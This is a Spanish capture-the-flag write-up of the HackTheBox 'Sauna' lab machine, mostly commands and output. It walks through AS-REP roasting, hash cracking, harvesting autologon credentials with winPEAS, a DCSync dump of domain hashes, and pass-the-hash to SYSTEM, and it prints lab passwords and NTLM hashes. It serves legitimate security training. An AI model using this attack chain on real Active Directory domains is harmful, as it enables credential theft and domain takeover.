HTB sauna AD

¡Hola! En esta ocasión vamos a resolver de la máquina sauna AD de HackTheBox. La máquina es nivel “Easy”, sin embargo, el nivel siempre se lo pones tú, al enfrentar estos retos, ¡vamos a ponernos hack!

PREPARACIÓN

Para iniciar nuestra máquina, vamos a crear con nuestra función mkhack un directorio de trabajo con el nombre sauna y los subdirectorios recon junto con exploit, con el objetivo de organizar la información que recopilemos en la realización de la máquina.

mkhack sauna 
cd !$/recon

RECONOCIMIENTO

Accedemos al directorio recon e iniciamos nuestra fase de reconocimiento sobre el objetivo por medio de nuestra utilidad osping detectando el tipo de sistema operativo basado en el ttl time to live de una traza ICMP.

osping 10.10.10.175
[*] Detectando sistema operativo ...

[+] 10.10.10.175 ttl=127 >> Windows

Identificamos que es una maquina Windows debido a su ttl (time to live) correspondiente a 127 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

sudo nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.10.175 -oG ports | grep open
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49677/tcp open  unknown
49689/tcp open  unknown
49696/tcp open  unknown

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar en nuestro objetivo.

nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49677,49689,49696 -sCV -Pn 10.10.10.175 -oN versions
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-01-25 06:44:49Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  msrpc         Microsoft Windows RPC
49689/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

AD DOMAIN DETECTION

Iniciamos con la detección del dominio donde inicialmente, por medio de la utilidad crackmapexec enumeramos información necesaria para tener un mejor alcance a la máquina víctima.

crackmapexec smb 10.10.10.175
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)

Agregamos en el archivo /etc/hosts

sudo su
nvim /etc/hosts
10.10.10.175  SAUNA SAUNA.EGOTISTICAL-BANK.LOCAL EGOTISTICAL-BANK.LOCAL

SMB NULL SESSION ENUM

Eumeramos información por smb null session

crackmapexec smb 10.10.10.175 --shares
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)
smbclient -L 10.10.10.175 -N
Anonymous login successful

	Sharename       Type      Comment
	---------       ----      -------
SMB1 disabled -- no workgroup available
smbmap -H 10.10.10.175 -u 'null
[!] Authentication error on 10.10.10.175

RPCCLIENT NULL SESSION ENUM

Eumeramos información por rpcclient null session

rpcclient -U '' 10.10.10.175 -N
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED

LDAPSEARCH NULL SESSION ENUM

Eumeramos información por ldapsearch null session

ldapsearch -x -h 10.10.10.175 -s base namingcontext
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontext 
#

#
dn:

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

En este punto hemos realizado diferentes enumeraciones sin exito, ahora con ldapsearch, junto con el dominio EGOTISTICAL-BANK.LOCAL, profundizamos en la enumeración, obteniendo un potencial usuario.

ldapsearch -x -h 10.10.10.175 -b 'DC=EGOTISTICAL-BANK,DC=LOCAL' | grep 'dn: CN='
dn: CN=Users,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Computers,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=System,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=LostAndFound,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Infrastructure,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=ForeignSecurityPrincipals,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Program Data,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=NTDS Quotas,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Managed Service Accounts,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Keys,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=TPM Devices,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Builtin,DC=EGOTISTICAL-BANK,DC=LOCAL
dn: CN=Hugo Smith,DC=EGOTISTICAL-BANK,DC=LOCA

USERS DICTIONARY

El usuario hugo smith puede ser potencial para encontrar un usuario valido en el AD, por lo que vamos a probar una serie de combinaciones para lograr obtener un usuario.

nvim users.txt
hsmith
hugo.smith
hugosmith
hugos

TGT KERBRUTE ENUM

Procedemos a validar nuestra lista de usuarios para identificar un nuevo usuario

kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.10.10.175 users.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 01/24/23 - Ronnie Flathers @ropnop

2023/01/24 18:59:44 >  Using KDC(s):
2023/01/24 18:59:44 >  	10.10.10.175:88

2023/01/24 18:59:44 >  [+] VALID USERNAME:	hsmith@EGOTISTICAL-BANK.LOCAL
2023/01/24 18:59:44 >  Done! Tested 5 usernames (1 valid) in 0.278 seconds

TGT GETNPUSERS ENUM

Obtenemos que hsmith es un usuario valido! Ahora vamos a realizar la misma validación con la herramienta GetNPUsers.

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

USERS DICTIONARY (WEB ENUM)

Ahora que tenemos usuarios, procedemos a realizar la enumeración de información a nivel web, encontrando en la sección about potenciales usuarios.

curl -s "http://10.10.10.175/about.html" | grep '<p class="mt-2">' | awk '{print $2}' FS='>' | awk '{print $1}' FS='<'
nvim users.txt
hsmith
fsmith
hbear
skerb
scoins
btaylor
sdriver

TGT KERBRUTE ENUM (NEW USERS.TXT)

Con el nuevo archivo users.txt realizamos la misma validación de usuarios con kerbrute.

kerbrute userenum -d EGOTISTICAL-BANK.LOCAL --dc 10.10.10.175 users.txt

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 01/24/23 - Ronnie Flathers @ropnop

2023/01/24 19:15:33 >  Using KDC(s):
2023/01/24 19:15:33 >  	10.10.10.175:88

2023/01/24 19:15:34 >  [+] VALID USERNAME:	hsmith@EGOTISTICAL-BANK.LOCAL
2023/01/24 19:15:34 >  [+] fsmith has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$fsmith@EGOTISTICAL-BANK.LOCAL:23d86689a7c1f297c7ef70d470d32f7d$f0eb11ef9f3535f80c8bb9e807c1d379ede1025dc9cf902482ed4946b44cc4002d579a708b9676dacc1fc7a24bde98aa38ff43d9c338619c3d36f6a0b2a4012b5879720be047d3a1350879b0c5bc3705c3956ff32efe26db38167ea4fe1f8efcd8ec71e4d51119b4b6c88e18454eb31204bb319b03121932b0241fec746debafc2109ea95a695ca08784bebfe1e858a0f5c3fc30b0236130ac93cb5a84d7d5f29c6d97f1fc49d896d1f5258f7cbd83e9e73072ebea4e8e041263711d8d5e70da0f7378397ab46c0abd4b547dd928306c2b67ee9134e70ea1bf4fe119688a8cbe93c9a7806841359f48c1dd6130b057c01c29a0bc2d22e85db78bd49e4f8afb516dfe52f5b6a2f687b4df665f9aeae89d2154717a0960
2023/01/24 19:15:34 >  [+] VALID USERNAME:	fsmith@EGOTISTICAL-BANK.LOCAL
2023/01/24 19:15:34 >  Done! Tested 7 usernames (2 valid) in 0.273 seconds

TGT GETNPUSERS ENUM (NEW USERS.TXT)

Procedemos con el mismo ejercicio con la herramienta GetNPUsers y como podemos ver ya encontramos el hash krb5 que podemos crackear para obtener la contraseña de un usuario del AD.

impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile users.txt
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] User hsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:c753449e67f9983145b8ca9f57efabfc$fb9f945439826b8aea11a83711e9aa2f5eae6c0815aa0b937961cf227378c0bc9dfdd081485797f2942432e581eb1687a87c2631ab398848225e7d25b58116285e9939019f76b7492c6e03445a5901848ccdc40607d257062cec34e5b09e0aaefcea476b6ab929bf55692097b6daa598e2dd1b7fb7c05ce18a115ce3e7a7c9ec316ec280656d5b6ddf1ce4a0fab4e5d5a93d8bb95158ddead5524c800a50f224d433c8a1668d42616d72c428d7154f2204f0a61397b8e139d9359631f7339468f581056ff0a891c769a6d125a4af64f5af40093b00e82863785aaf98237116a9028a6f3bb8cb49944e464bc7da7516f0a0b7880b7021d4e25f7cd98733a5d3af
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

CRACKING KERBEROS HASH

Ahora que tenemos el hash capturado, vamos a almacenarlo en el archivo hash y crackearlo con hashcat

echo '$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:c753449e67f9983145b8ca9f57efabfc$fb9f945439826b8aea11a83711e9aa2f5eae6c0815aa0b937961cf227378c0bc9dfdd081485797f2942432e581eb1687a87c2631ab398848225e7d25b58116285e9939019f76b7492c6e03445a5901848ccdc40607d257062cec34e5b09e0aaefcea476b6ab929bf55692097b6daa598e2dd1b7fb7c05ce18a115ce3e7a7c9ec316ec280656d5b6ddf1ce4a0fab4e5d5a93d8bb95158ddead5524c800a50f224d433c8a1668d42616d72c428d7154f2204f0a61397b8e139d9359631f7339468f581056ff0a891c769a6d125a4af64f5af40093b00e82863785aaf98237116a9028a6f3bb8cb49944e464bc7da7516f0a0b7880b7021d4e25f7cd98733a5d3af' > hash
hashcat -m 18200 -a 0 hash /usr/share/wordlists/rockyou.txt
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:c753449e67f9983145b8ca9f57efabfc$fb9f945439826b8aea11a83711e9aa2f5eae6c0815aa0b937961cf227378c0bc9dfdd081485797f2942432e581eb1687a87c2631ab398848225e7d25b58116285e9939019f76b7492c6e03445a5901848ccdc40607d257062cec34e5b09e0aaefcea476b6ab929bf55692097b6daa598e2dd1b7fb7c05ce18a115ce3e7a7c9ec316ec280656d5b6ddf1ce4a0fab4e5d5a93d8bb95158ddead5524c800a50f224d433c8a1668d42616d72c428d7154f2204f0a61397b8e139d9359631f7339468f581056ff0a891c769a6d125a4af64f5af40093b00e82863785aaf98237116a9028a6f3bb8cb49944e464bc7da7516f0a0b7880b7021d4e25f7cd98733a5d3af:Thestrokes23

GRANTED ACCESS FSMITH USER

Ahora tenemos lo necesario para conectarnos remotamente en caso de tener credenciales validas previamente detectadas por crackmapexec por medio de la utilidad evil-winrm.

crackmapexec smb 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 
crackmapexec winrm 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
SMB         10.10.10.175    5985   SAUNA            [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP        10.10.10.175    5985   SAUNA            [*] http://10.10.10.175:5985/wsman
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
evil-winrm -i 10.10.10.175 -u 'fsmith' -p 'Thestrokes23'
whoami
egotisticalbank\fsmith

AD ENUM LOCAL

Nos encontramos dentro de la máquina víctima, sin embargo, necesitamos escalar privilegios, por lo tanto, debemos enumerar la máquina para obtener más información que nos pueda ayudar.

USUARIOS DE LA MÁQUINA

net user
User accounts for \\

-------------------------------------------------------------------------------
Administrator            FSmith                   Guest
HSmith                   krbtgt                   svc_loanmgr

GRUPOS Y PRIVILEGIOS DEL USUARIO ACTUAL

whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

INFORMACIÓN GENERAL DE UN GRUPO LOCAL

net localgroup "Remote Management Users"
Alias name     Remote Management Users
Comment        Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.

Members

-------------------------------------------------------------------------------
FSmith
svc_loanmgr
The command completed successfully.

AD WINPEAS ENUM

Vamos a realizar una enumeración profunda en la máquina y para esto hacemos uso de la herramienta WINPEAS descargandola en nuestra máquina y transmitiendola a la máquina víctima, permitiendo destacar información adicional que ayuda a la enumeración local, encontrando en este caso una contraseña para el usuario svc_loanmgr

MÁQUINA ATACANTE

wget https://github.com/carlospolop/PEASS-ng/releases/download/20220717/winPEASx64.exe

MÁQUINA VÍCTIMA

cd C:\Windows\Temp
mkdir recon
cd recon
upload ~/Desktop/bast1ant1c/HTB/Sauna/exploit/winPEAS.exe
.\winPEAS.exe
ÉÍÍÍÍÍÍÍÍÍ͹ Looking for AutoLogon credentials
    Some AutoLogon credentials were found
    DefaultDomainName             :  EGOTISTICALBANK
    DefaultUserName               :  EGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!```

GRANTED ACCESS SVC_DEPLOY USER

Ahora tenemos lo necesario para conectarnos remotamente en caso de tener credenciales validas previamente detectadas por crackmapexec por medio de la utilidad evil-winrm.

crackmapexec smb 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB         10.10.10.175    445    SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!
crackmapexec winrm 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
SMB         10.10.10.175    5985   SAUNA            [*] Windows 10.0 Build 17763 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL)
HTTP        10.10.10.175    5985   SAUNA            [*] http://10.10.10.175:5985/wsman
WINRM       10.10.10.175    5985   SAUNA            [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround! (Pwn3d!)
evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
whoami
egotisticalbank\svc_loanmgr

BLOODHOUND INSTALL

Para realizar una enumerción más detallada de permisos, usuarios y grupos del AD, vamos a hacer uso de la herramienta bloodhound, por lo tanto vamos a proceder a instalarla. Es importante aclarar que si existen novedades con la instalación se recurra al proyecto directamente, esto debido a que se está en constante actualización.

Al momento de ejecutar neo4j este requiere acceder a un puerto especifico y acceder con claves por defecto, luego de este proceso pedira un cambio de clave, es importante guardar estas credenciales porque las utilizaremos al momento de acceder a bloodhound.

apt install neo4j bloodhound
update-alternatives --config java
# SELECCIONAR JAVA-11

BLOODHOUND ENUM

Ahora vamos a descargar y transmitir el binario SharpHound.ps1 a la máquina víctima para extraer la información del AD y posteriormente visualizarla en bloodhound.

MÁQUINA ATACANTE

wget https://raw.githubusercontent.com/puckiestyle/powershell/master/SharpHound.ps1

MÁQUINA VÍCTIMA

cd C:\Windows\Temp
mkdir privs
cd privs
upload ~/Desktop/bast1ant1c/HTB/Sauna/content/SharpHound.ps1
Import-module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
download C:\Windows\Temp\privs\20220718205025_BloodHound.zip bloodhound.zip

BLOODHOUND INTERACTION

Ya tenemos la información descargada en nuestro equipo, ahora procedemos a revisar la data con bloodhound

neo4j console &>/dev/null & disown
bloodhound &>/dev/null & disown
# INGRESAR CREDENCIALES DE ACCESO

SEGUIR SECUENCIA EN BLOODHOUND

Upload Data > bloodhound.zip > Analysis > Find all domain admins > Find shortest paths to domain admins > Domain

MARCAR USUARIOS PWNED

Buscar user > mark user as owned

ESCALAMIENTO

Node info > Outbound control rights > First degree object control

DCSYNC ATTACK

Vamos a realizar un DCSYNK ATTACK, suplantando el AD para capturar los hashes que nos permiten la conexión de los usuarios que logremos dumpear.

impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:c6c4ff7bc2607cc5bfdd2ea96ef077e7:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:42ee4a7abee32410f470fed37ae9660535ac56eeb73928ec783b015d623fc657
Administrator:aes128-cts-hmac-sha1-96:a9f3769c592a8a231c3c972c4050be4e
Administrator:des-cbc-md5:fb8f321c64cea87f
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:42e9e4ea4cb6908b7823f948dbf40e2491ade643a678e2944dc43a4d99e826d7
SAUNA$:aes128-cts-hmac-sha1-96:d3e465ad71dd231a5aea1d15aeb27512
SAUNA$:des-cbc-md5:5e839d57a1c876e6

GRANTING ACCESS ADMINISTRATOR USER (PASS THE HASH)

Tenemos el hash del usuario Administrator, ahora vamos a conectarnos con la utilidad psexec, para entablar una conexión directamente con la máquina víctima.

impacket-psexec 'EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175' cmd.exe -hashes ':823452073d75b9d1cf70ebdf86c7f98e'
C:\Windows\system32>whoami
nt authority\system

FLAGS

Lo único que nos queda es leer las banderas de user y root. Pueden ver la flag con type, pero para hacerlo más retador solo dejaré los primeros 10 caracteres de la flag.

C:\Windows\system32>cd c:\        
c:\>dir /b/s user.txt
c:\Users\FSmith\Desktop\user.txt
c:\>set /P user=<"c:\Users\FSmith\Desktop\user.txt"
c:\>echo.%user:~0,10%       
d8a7fe7238
c:\>dir /b/s root.txt
c:\Users\Administrator\Desktop\root.txt
c:\>set /P root=<"c:\Users\Administrator\Desktop\root.txt"
c:\>echo.%root:~0,10%
7aba2d34ff

¡Hemos logrado completar la máquina sauna de HackTheBox!

¡Que tengan un buen día en el planeta donde se encuentren!

Nos vemos en otro bit.